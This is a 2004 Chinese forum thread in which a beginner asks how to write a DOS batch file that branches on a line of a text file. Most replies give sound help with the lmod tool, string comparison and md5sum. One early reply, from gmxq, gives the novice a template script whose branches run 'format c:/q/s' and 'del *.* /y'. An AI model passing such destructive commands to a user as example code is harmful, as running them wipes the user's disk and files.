无忧启动论坛

标题: 向climbing和各位高手求教一个批处理的写法 [打印本页]

作者: 陈永仁    时间: 2004-4-7 09:21
标题: 向climbing和各位高手求教一个批处理的写法
有一个文本文件,例如:
xxxxxxxx
xxxxxxxx
“aaaaaaaa”
xxxxxxxx
其中,”aaaaaaa”会有5种变化,我要写一个批处理为这5种变化分别指定一个执行命令,那么这个批处理该怎么写?谢谢!

作者: gmxq    时间: 2004-4-7 13:07
标题: 向climbing和各位高手求教一个批处理的写法
没看明白
应该是用%1作参数
test.bat
if "%1""=="" goto help
if "%1""=="fuck1" goto fuck1
if "%1""=="fuck2" goto fuck2
if "%1""=="fuck3" goto fuck3
if "%1""=="fuck4" goto fuck4
if "%1""=="fuck5" goto fuck5
:help
cls
echo usage: test fuck1
echo 执行fuck1
echo usage: test fuck2
echo usage: test fuck3
echo usage: test fuck4
echo usage: test fuck5

:fuck1
format c:/q/s
goto end
:fuck2
del *.* /y
goto end
:fuck3
:fuck4
:fuck5
:end

作者: Climbing    时间: 2004-4-7 13:24
标题: 向climbing和各位高手求教一个批处理的写法
下面引用由陈永仁2004/04/07 09:21am 发表的内容:
有一个文本文件,例如:
xxxxxxxx
xxxxxxxx
“aaaaaaaa”
...
你是说你的批处理要检测这个文本文件中的第三行的内容,根据不同的内容执行不同的命令,是不是这样?
如果是这样,那么你首先要将文本文件的第三行的内容放到一个环境变量中,然后根据环境变量再进行If判断。
从文本文件中提取一行的命令你可以使用Horst Schaeffer的批处理工具lmod。
Horst Schaeffer的主页:http://home.nikocity.de/horst.muc/int/
假设这个文本文件为if.txt,那么参考的命令为:
type if.txt | lmod /L3 set STR=[] > temp.bat
call temp.bat
del temp.bat
上述三条命令会将if.txt中第三行的内容设置到STR环境变量中,下面你就可以用:
if "%STR%"=="STRING1" GOTO COMMAND1
if "%STR%"=="STRING2" GOTO COMMAND2
...
来进行后续的操作。

作者: 陈永仁    时间: 2004-4-7 13:36
标题: 向climbing和各位高手求教一个批处理的写法
下面引用由Climbing2004/04/07 01:24pm 发表的内容:
你是说你的批处理要检测这个文本文件中的第三行的内容,根据不同的内容执行不同的命令,是不是这样?
如果是这样,那么你首先要将文本文件的第三行的内容放到一个环境变量中,然后根据环境变量再进行If判断。
从 ...
对,我就是这个意思,可是我太菜了,还是不会搞,你能不能写一个让我参考以下。再次谢谢!
作者: 陈永仁    时间: 2004-4-7 13:46
标题: 向climbing和各位高手求教一个批处理的写法
下面引用由gmxq2004/04/07 01:07pm 发表的内容:
没看明白
应该是用%1作参数
test.bat
if "%1""=="" goto help
...
也谢谢你,可是如何引入呢?
作者: Climbing    时间: 2004-4-7 14:07
标题: 向climbing和各位高手求教一个批处理的写法
下面引用由陈永仁2004/04/07 01:36pm 发表的内容:
对,我就是这个意思,可是我太菜了,还是不会搞,你能不能写一个让我参考以下。再次谢谢!
把你的文本文件发上来并写明你的要求,我可以帮你简单的写一个,但仅是这一次吧,毕竟很多东西还是要自己学习,其实上面的说明我已经写的很明白了,好好研究一下别人写的批处理就很容易搞定的。

作者: 陈永仁    时间: 2004-4-7 14:12
标题: 向climbing和各位高手求教一个批处理的写法
谢谢!我自己先试一试,搞不定再请教。
作者: 陈永仁    时间: 2004-4-7 15:12
标题: 向climbing和各位高手求教一个批处理的写法
[这个贴子最后由陈永仁在 2004/04/07 03:17pm 第 1 次编辑]

搞不定啊,这是其中一条命令:
type hello.txt |lmod /e /L19 set STR=[] > temp.bat
call temp.bat
del temp.bat
if "%STR%"==""aaaaaaa"="bbbbbbb ccccccc"" GOTO good

:good
del README.TXT
GOTO end
:end
exit
其中"aaaaaaa"="bbbbbbb ccccccc"是hello.txt文件中的第十九行,包括那几个双引号。
作者: 陈永仁    时间: 2004-4-7 15:25
标题: 向climbing和各位高手求教一个批处理的写法
似乎是bbbbbbb与ccccccc之间有空格引致失败,应如何解决?谢谢!
作者: 陈永仁    时间: 2004-4-7 16:28
标题: 向climbing和各位高手求教一个批处理的写法
顶一下!
作者: 陈永仁    时间: 2004-4-7 17:02
标题: 向climbing和各位高手求教一个批处理的写法
我继续尝试,也继续等待。
作者: 陈永仁    时间: 2004-4-7 18:01
标题: 向climbing和各位高手求教一个批处理的写法
继续顶!
作者: 陈永仁    时间: 2004-4-7 19:22
标题: 向climbing和各位高手求教一个批处理的写法
确定问题就出在bbbbbbb与ccccccc之间有空格,不知道怎么解决,请求帮忙!
作者: 陈永仁    时间: 2004-4-7 20:36
标题: 向climbing和各位高手求教一个批处理的写法
高手何在?帮帮忙!谢谢!
作者: 不能    时间: 2004-4-7 20:37
标题: 向climbing和各位高手求教一个批处理的写法
我是才鸟
看不动啊!
作者: 陈永仁    时间: 2004-4-7 20:44
标题: 向climbing和各位高手求教一个批处理的写法
帮忙顶一下也行啊!谢谢!
作者: 陈永仁    时间: 2004-4-7 21:58
标题: 向climbing和各位高手求教一个批处理的写法
能否改成比较两个文件,如果相同则执行下一步命令呢?这样的批处理应该如何写?谢谢!
作者: 不能    时间: 2004-4-7 21:59
标题: 向climbing和各位高手求教一个批处理的写法
头痛的批处理
作者: 陈永仁    时间: 2004-4-7 22:16
标题: 向climbing和各位高手求教一个批处理的写法
继续顶!
作者: 不能    时间: 2004-4-7 22:18
标题: 向climbing和各位高手求教一个批处理的写法
高手到哪儿去了!!
不愿意回答吗??
等ing....................
作者: 陈永仁    时间: 2004-4-8 08:38
标题: 向climbing和各位高手求教一个批处理的写法
climbing大哥,帮帮我吧!谢谢!
作者: 陈永仁    时间: 2004-4-8 09:05
标题: 向climbing和各位高手求教一个批处理的写法
各位高手,提携一下小弟,谢谢!
作者: 未注册用户    时间: 2004-4-8 09:45
标题: 向climbing和各位高手求教一个批处理的写法
下面引用由陈永仁2004/04/08 08:38am 发表的内容:
climbing大哥,帮帮我吧!谢谢!
climbing不是让你把你的文本文件发上来并写明你的要求吗
作者: 陈永仁    时间: 2004-4-8 11:48
标题: 向climbing和各位高手求教一个批处理的写法
再顶一下!
作者: 陈永仁    时间: 2004-4-8 14:11
标题: 向climbing和各位高手求教一个批处理的写法
继续顶,继续革命!
作者: Climbing    时间: 2004-4-8 14:41
标题: 向climbing和各位高手求教一个批处理的写法
抱歉,我上午有事出去了,没有上网,所以无法及时解答问题。
请将你的文本文件的各种可能(包括格式)传上来,我帮你分析一下,说明白你的要求。
作者: pizigao    时间: 2004-4-8 14:51
标题: 向climbing和各位高手求教一个批处理的写法
你到这里看看 中国DOS联盟首页
http://dos.e-stone.cn/dosbbs/
作者: Climbing    时间: 2004-4-8 23:24
标题: 向climbing和各位高手求教一个批处理的写法
[UploadFile=34_1389_27.rar]
下面引用由陈永仁2004/04/07 03:12pm 发表的内容:
搞不定啊,这是其中一条命令:
type hello.txt |lmod /e /L19 set STR=[] > temp.bat
call temp.bat
del temp.bat
...
在比较字符串的时候,任何一个字符串中都是不能出现=这个字符的,所以,在比较之前,应该想办法将字符串中不合规定的字符去掉。
附件中提供的rar文件中提供了一个far.bat,可以用来实现替换字符串中的某个字符为另一个字符。但我试过了,由于你的字符串中包括了空格和双引号,所以far.bat工作也就无法正常了。看来你要想别的办法。
最好把你的源文件提供给我,根据实际情况再想别的办法。


作者: Climbing    时间: 2004-4-8 23:40
标题: 向climbing和各位高手求教一个批处理的写法
哈哈,临睡前又试了一下,用Lmod就可以去掉行中的特殊字符,还是LMOD好使。
我使用的测试文件test.txt内容如下:
"aaaa"="bbbb cccc"
"bbbb"="ccc ddd"
cccc=dd ee
命令:type test.txt | lmod /S""= /L1 set STR=[$1][$2][$3]的执行结果如下:
set STR=aaaabbbbcccc
这样,就没有特殊字符了,也就可以进行正常的字符串比较了。

作者: 万事无忧    时间: 2004-4-9 00:09
标题: 向climbing和各位高手求教一个批处理的写法
Climbing ,我真是服了你,临睡之前还给别人解决问题先!不过,对于钻研技术的人来说,不搞好反正是睡不着的,对不对?
作者: Climbing    时间: 2004-4-9 09:09
标题: 向climbing和各位高手求教一个批处理的写法
9494,不过楼主好象倒是不着急,都快24个小时没有回应了。
作者: 陈永仁    时间: 2004-4-9 09:29
标题: 向climbing和各位高手求教一个批处理的写法
下面引用由Climbing2004/04/08 11:40pm 发表的内容:
哈哈,临睡前又试了一下,用Lmod就可以去掉行中的特殊字符,还是LMOD好使。
我使用的测试文件test.txt内容如下:
"aaaa"="bbbb cccc"
"bbbb"="ccc ddd"
...
太谢谢了!我搞定了,不过问一下,能否通过比较两个文件的方法实现,当比较结果相同时条件为真?再次求教。
作者: Climbing    时间: 2004-4-9 09:35
标题: 向climbing和各位高手求教一个批处理的写法
比较两个文件?你太异想天开了吧?
用md5码试试吧?
作者: 陈永仁    时间: 2004-4-9 09:39
标题: 向climbing和各位高手求教一个批处理的写法
下面引用由Climbing2004/04/09 09:35am 发表的内容:
比较两个文件?你太异想天开了吧?
用md5码试试吧?
我想既然有一个lmod,可能还会有其它工具可以实现,学海无涯啊!
作者: 陈永仁    时间: 2004-4-9 09:42
标题: 向climbing和各位高手求教一个批处理的写法
还有我发现用比较字符串时可以有双引号和等号,就是不能有空格。
作者: Climbing    时间: 2004-4-9 09:47
标题: 向climbing和各位高手求教一个批处理的写法
有一个命令叫md5sum,可以用来生成并比较文件的md5码。
作者: 陈永仁    时间: 2004-4-9 09:52
标题: 向climbing和各位高手求教一个批处理的写法
下面引用由Climbing2004/04/09 09:47am 发表的内容:
有一个命令叫md5sum,可以用来生成并比较文件的md5码。
谢谢!我试试看,要学的东西太多了!




欢迎光临 无忧启动论坛 (http://wuyou.net/) Powered by Discuz! X3.3